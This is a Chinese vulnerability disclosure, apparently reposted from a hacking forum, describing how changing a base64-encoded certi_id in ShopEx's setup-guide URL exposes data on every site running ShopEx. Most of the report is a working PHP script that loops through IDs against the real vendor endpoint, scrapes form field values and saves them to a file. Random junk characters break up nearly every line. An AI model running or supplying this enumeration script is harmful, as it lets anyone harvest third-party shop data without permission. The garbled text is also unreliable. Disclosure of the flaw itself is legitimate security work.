|
|
简要描述:7 Y* Y! J( L8 h% w/ z! p
ShopEx某接口缺陷,可遍历所有网站4 x) x) q; G- g8 i5 a
详细说明:
. J; _3 y, T y3 ~问题出现在shopex 网店使用向导页面
' A" y6 ?/ x; I! w5 [* B9 t& A: t& r+ A6 H, ~2 L; h4 E5 O
* b7 [- N4 Q2 Z9 Y# M, F
, v' d( ~/ o$ Y8 B7 Y
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=6 U$ K( e7 M5 r- X) ^% K& ^
; u0 |7 d; |5 [1 d8 o
& }% e$ h3 i% [" b$ q, }5 n1 ~5 Y
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"} J% x- z3 K9 |. q& L' R
% q, b9 x) b( y, v5 i+ l% X
3 b3 ]/ G( X( g+ B
( F4 {+ X0 C0 q2 z6 C' O我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
1 ^) }$ u, v# j2 Z! N2 L+ t! L& r+ x( _8 A6 w
, G5 @* Y* g9 p0 ?. k0 W8 A/ B3 [& Q' t4 @
<?php
; A! j! {8 u1 B( ~3 M. ^0 }, k2 ~- b0 }! {
for ($i=1; $i < 10000; $i++) { //遍历
- P1 F3 e( v8 L, z' c: @' V$ T: M( H" t- a& z# P& \
ShowshopExD($i);% j( v, I; c' ^. Z2 B6 G/ y# i- t
3 f! b# O# I% m
}
! f& O3 v! z' Z; l7 j+ V! t, C3 ~' F0 n5 D
function ShowshopExD($cid) {; ^1 k J# o \* S! ?
) g$ t: J* d7 N
$url='http://guide.ecos.shopex.cn/step2.php';
- n7 d0 W; K% ^ {
1 n+ y1 {. [6 B G( P $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');- m) Q* Q' w5 I! C: |7 L1 N1 J
8 r A* d: h2 n1 {/ s/ a1 n/ u
$url = $url.'?refer='.$refer;9 P* l( o! H2 J5 u( K2 P
" ^! m- k$ M3 m- z+ R
$ch = curl_init($url);
1 X9 _; j! ] g* B" k! N) F6 B S) T, S5 n& \* ]& y$ z- w& E
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! w4 J$ I! L( o% c3 I9 s4 T8 c# n5 n G1 g& o6 J& @
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;' H$ H' I( L) `
& D7 l6 v' d+ z
$result = curl_exec($ch);
- Y. b) q+ L% w/ o
- T5 M* n% P5 p $result = mb_convert_encoding($result, "gb2312", "UTF-8");
; h! z* C; D7 v9 N1 p' n
% |; F, e) e( y9 G9 E if(strpos($result,$refer))1 h; p0 F9 T9 s+ ]" Z
~; L* z0 M% F& K/ B+ a/ D
{
$ q3 n2 O& v4 @7 W* \# t1 D) H1 X* [% k8 J- r: n! B4 e
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
0 F6 B) }3 c: n+ O
( G% e" c2 r" L' O3 h preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* x1 g/ j& t6 G- D3 R# W
6 I0 d$ j- k0 L; `# q* [7 Z* B foreach ($value[1] as $key) {# j+ R: w3 Q3 s0 o; g9 L$ D, v
& z+ y% V6 s3 ]$ l
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
2 x' P: W! J' k% k
0 c; @" P7 X% @( z' {/ w echo $res[1][0].':'.$res[3][0]."\r\n";' j) [+ y" q6 f
" }% b- M# {2 D. R0 s7 M8 f $col =$res[1][0].':'.$res[3][0]."\r\n";
- ?5 L4 \$ i3 J- L4 a1 U( {% [. P# X! s- @. Y! S; {( ~
fwrite($fp, $col, strlen($col)); 3 n S' n: Y+ U* k3 J
" ~# j6 x: C' ~( n; ]. o9 V
}
" z% \* H7 M1 V+ E+ z. v' K% N% i9 \- Q/ Z J
echo '--------------------------------'."\r\n";, X* Q2 Y: ?3 h& V3 }
; v& ?# r% ]5 p- V! A: \- h
fclose($fp);
& M: y4 c/ C, e7 N
, @0 l d9 x$ I, t- Z9 J& i0 V }2 N! w% i' t# D( W
: x- x! {- g+ S' D2 g) e flush();& X. A) u0 V4 p8 m% Z6 D7 o) R5 s8 ?
: ~& [2 V# P) p3 Z! i1 X% X
curl_close($ch);" i" Q S4 W% Y0 y5 b: i
' @, ~+ L) O9 b) g& i7 a" E# U% E
}
0 z y/ J2 e7 V/ O0 T4 \& j, T L& o* D1 K
?>
3 W P8 K* `2 b2 U漏洞证明:, X! i' t9 J* J2 ~" i$ T; E! `
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
, j7 f5 [. P2 H. Srefer换成其他加密方式( h( E6 _3 W3 r# A/ a& |
|
|